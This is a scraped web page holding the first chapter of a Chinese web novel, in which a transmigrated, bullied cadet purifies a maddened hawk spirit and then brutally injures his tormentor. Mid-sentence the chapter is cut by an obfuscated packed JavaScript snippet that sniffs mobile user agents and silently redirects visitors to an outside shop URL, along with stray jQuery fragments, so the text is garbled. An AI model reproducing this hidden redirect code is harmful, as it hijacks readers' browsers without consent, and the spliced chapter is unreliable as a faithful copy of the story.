文趣网 > 都市小说 > 在军校开毛茸茸托儿所 > 1. 穿越
    【你是一个F级废柴军校生。】

    【你软弱、怯懦、阴沉,在聚集众多天之骄子的阿瑞斯军校,宛如下水道的老鼠,人人践踏。】

    【你的任务是:拯救世界。】

    竞技场穹顶模拟出铅灰色阴云,下方是一片山林。天光穿透巨大云杉的枝桠,投下破碎光斑。

    光斑晃动,星星点点排布在一道蜷缩的身影上。那人似乎因重伤陷入昏迷,惨白的脸贴在树上,血顺着额角与眼尾流下,在树皮沟壑里凝成暗红色细线。

    听见声音,时霜睁开眼,视野瞬间被一片血红吞没。试图聚焦,左眼眶内爆开尖锐的刺痛。

    他闷哼一声,合拢眼皮,深吸一口气,仅睁开完好的右眼。

    瞳孔逐渐适应光线。时霜扫视四周,林木寂静,不见一个人影。

    “谁?”

    【我是您的向导系统。】

    一道平直的电子音再次在他脑海中响起。

    【这是一个因精神体集体污染濒临崩溃的世界。而你,就是本系统千挑万选的救世……】

    电子音突兀停顿,随即变得急促起来:【警告!检测到宿主生命体征异常,请立刻接受医疗干预!】

    几乎在警告声响起的同一刹那,一声高亢尖锐的鸣叫撕裂林间空气,自上而下,急速逼近!

    时霜本能抬头,瞳孔骤然收缩。

    只见一只形态威猛的苍鹰从高处俯冲而下,快如闪电。

    时霜生前驯过不少鹰,一眼就能看出,它的状态极不对劲。

    本该锐利的金色眼瞳,布满狰狞血丝,呈现一种浑浊状态。颈羽炸开,姿态仿佛带着要跟他同归于尽的癫狂。

    看来左眼的伤,就是它的手笔。

    时霜缓慢眨眼,感到左眼眶传来一阵湿热疼痛,连带右眼视野都开始模糊。

    没有时间权衡。

    黑影在瞳孔中急速放大。

    时霜猛地压低重心,用双臂护住头颈,朝侧前方的岩石阴影处全力扑滚。

    砰!身后原先倚靠的位置,泥土轰然炸开,粗壮树干被利爪撕出一道深刻沟壑。

    苍鹰扑空,双翼猛地鼓动,拉升,在空中划出混乱的弧线。它没有多做停顿,鹰眼再次死死锁定地面上的人。

    时霜心脏在胸腔里狂跳,顾不上手臂刚刚被砂石磨伤火辣辣的疼。剧烈躲避动作加剧了额头和眼部的创伤,他现在每一口喘息都牵扯着左眼剧痛。

    他用力平复呼吸,压下喉咙深处泛着的铁锈味。

    不能这样躲下去。

    就算能耗死这只发狂的鹰,左眼的伤势也拖不起了。再不手术,他恐怕会彻底失明。

    而这只鹰,显然也不打算给他任何喘息的机会。它调整姿态,发起下一次攻击——

    【闭眼,呼吸下沉。】

    “?”

    【感受你体内的精神力。】

    时霜歪了下头,照做。

    黑暗中,他感到心口处悬着一团光。

    【调动它。】

    几乎是本能,那光顺从地流向他的指尖。一道无形的细丝,从他指尖悄然探出,无声无息蔓延向狂暴源头。

    触碰瞬间,凶戾的嘶鸣戛然而止。

    空中那只充满攻击性的苍鹰身躯陡然一僵,炸开的羽毛簌簌垂落。眼中疯狂燃烧的赤红如潮水般褪去,变回原本的暗金色。

    它从俯冲轨迹中松弛下来,略显笨拙地扑腾翅膀,在半空打了几个圈。最终收翅,落在了时霜鲜血淋漓的手臂上。

    狂乱消散,只剩一片茫然的宁静。

    时霜挑眉,这么简单?

    【不同等级精神体,净化难度不同。】系统平稳道,【比如这只鹰,只有D级,且污染程度较浅。】

    时霜原本的世界毕竟没有这些东西,系统怕他听不明白,继续解释道:

    【这个世界有一部分人会觉醒名为‘精神体’的伴生力量,它们是觉醒者精神的具象化,形态各异,能力超凡。但极易被污染,导致失控发狂。】

    【而你的存在,是例外中的例外。】

    时霜诡异地从毫无起伏的电子音语调里听出一点激动。

    【你拥有罕见的驯服与净化特质,我的作用,就是引导你用精神力净化被污染的精神体。】

    【在现有记录中,从未出现与你相同的能力者。】

    它顿了顿,一字一句地宣告:

    【换言之,你是全星际目前已知的唯一净化者,是……】

    “停。”

    时霜打断系统的滔滔不绝。

    他头昏脑涨,剧痛让这些话听起来遥远又模糊。他现在只有一个念头:

    “怎么出去?”

    这间竞技场模拟野外场景,却封闭如铁桶,周围除了树就是岩壁,根本看不到任何出口。

    【嗯……出不去,这间竞技场被设置了特殊模式,只有开启房间的人能开门。】

    时霜皱眉,这是想置他于死地?

    这是什么穿越即地狱开局定律。

    他果断求助系统:“统,救命。”

    不等没用的系统支支吾吾。

    “滴。”

    一声轻响,正前方的空气突然荡开波纹,一扇光门凭空浮现。门打开,一个穿着军校校服的身影背光而立。

    来人目光轻蔑地扫过浑身是血的时霜,唇畔笑意渐深,却在触及他手臂上安静停驻的苍鹰时一顿,脸色骤变:“你做了什么!”

    随即对自己不知发了什么病堪称乖顺的精神体厉喝,“畜生,滚回来!”

    苍鹰闻声一震,展开翅膀,从时霜手臂上飞起,化作一道流光没入那人眉心。

    时霜的目光缓缓落在对方胸前佩戴的银色校徽上,脑海里闪过一些画面。

    故意踢翻的餐盘,迎面泼来的汤水;训练课上意外袭来的重击,肋骨断裂的闷响被周围肆意的哄笑淹没;深夜被反锁在散发恶臭的废弃垃圾场,冰冷的绝望将他袭卷……

    还有此刻,这间被锁死的山林。

    时霜忽然笑了,笑容在苍白染血的脸上绽开,有种诡异的无害感。

    他用指尖轻轻摸了摸自己校徽上那个象征最低等的F字母,尾端的尖

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607368|205760||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    角冰凉。

    “是你关的我?”他轻声问。

    往日唯唯诺诺的怂包突然这么硬气?

    里弗像是听到了什么笑话,嗤笑出声:“是又怎样?F级的废物。”

    他上下打量着时霜,眼中恶意几乎满溢,“瞧瞧你这副样子,阴沟里爬出来的老鼠,又脏又臭,看你一眼都嫌脏。”

    他扯着嘴角,向前逼近一步,语气更加刻薄:“怎么,不服气?像你这种窝囊废,能留在阿瑞斯已经是天大的恩赐!”

    “给我们这些未来精英当取乐工具,像条摇尾乞怜的狗一样活着,就是你存在的唯一价值!”

    “好狗就该认清自己的位置……”

    里弗的目光落在他转过来的另半张脸上,声音忽然卡住了。

    眼前的少年皮肤苍白得近乎透明,半边脸被血迹污脏,可那未被沾染的眉眼轮廓,恹恹看过来时,竟透出一种惊心动魄的美感。尤其是过长的额发被血液濡湿,贴在额头上,乌黑与血红之间,一颗眉心痣红得生艳。

    鬼气森森,白骨上开出花似的靡丽。

    和他记忆里那个总是佝偻着背、毫无存在感的“时霜”,判若两人。

    时霜仿佛没听见那些恶意的侮辱,只是又问了一遍,声音甚至更轻了些:“是你关的我,对吗?”

    里弗回过神,被他这平静的态度激怒,为了掩饰心头莫名升起的一丝寒意,他抬高了下巴,声音愈发尖利:“是我!就是我关的你,你能拿我怎——啊!!!”

    寂静丛林里,凄厉的惨叫响彻。

    时霜的动作快得只剩残影。里弗根本没看清他是怎么动的,只感觉眼前寒光一闪,左眼便传来被硬物狠狠划过的剧痛!

    温热的液体瞬间涌出,糊住了半边视野。

    “我的眼睛!”里弗捂着左眼踉跄后退,浑身发抖,“你……你这个废物竟敢……我要杀了你!我要杀了你!!”

    时霜慢条斯理地将那枚沾血的校徽别好,一个眼神都懒得停留,转身,朝着光门走去。

    “站住!你给我站住!”里弗顶着满脸鲜血状若疯癫地扑上来,伸手就要抓时霜的后领。

    时霜甚至没有回头。

    他像是背后长了眼睛,右腿向后一扫,精准地踹在里弗的膝盖侧方。

    “咔嚓。”

    一声脆响。

    “啊啊啊啊!”里弗惨叫着,整个人不受控制地向前扑倒。

    他还未来得及反应,后脑勺就被一只手猛地按住,额头狠狠撞向地面。

    “砰!”

    沉闷的撞击声后,里弗眼前发黑,耳中嗡鸣,几乎失去意识。他像条死狗般瘫在地上,动弹不得。

    模糊视线里,他看到一双沾满泥泞的军靴,停在自己面前。然后,靴底抬起,踩在了他的侧脸上,不算重,却带着十足的侮辱意味。

    时霜微微弯腰,看着脚下这张因痛苦和恐惧而扭曲的脸,笑容明媚又无辜,仿佛刚才的一切只是场无伤大雅的玩闹。

    他轻声问,带着恰到好处的疑惑:

    “现在,我可以走了吗?”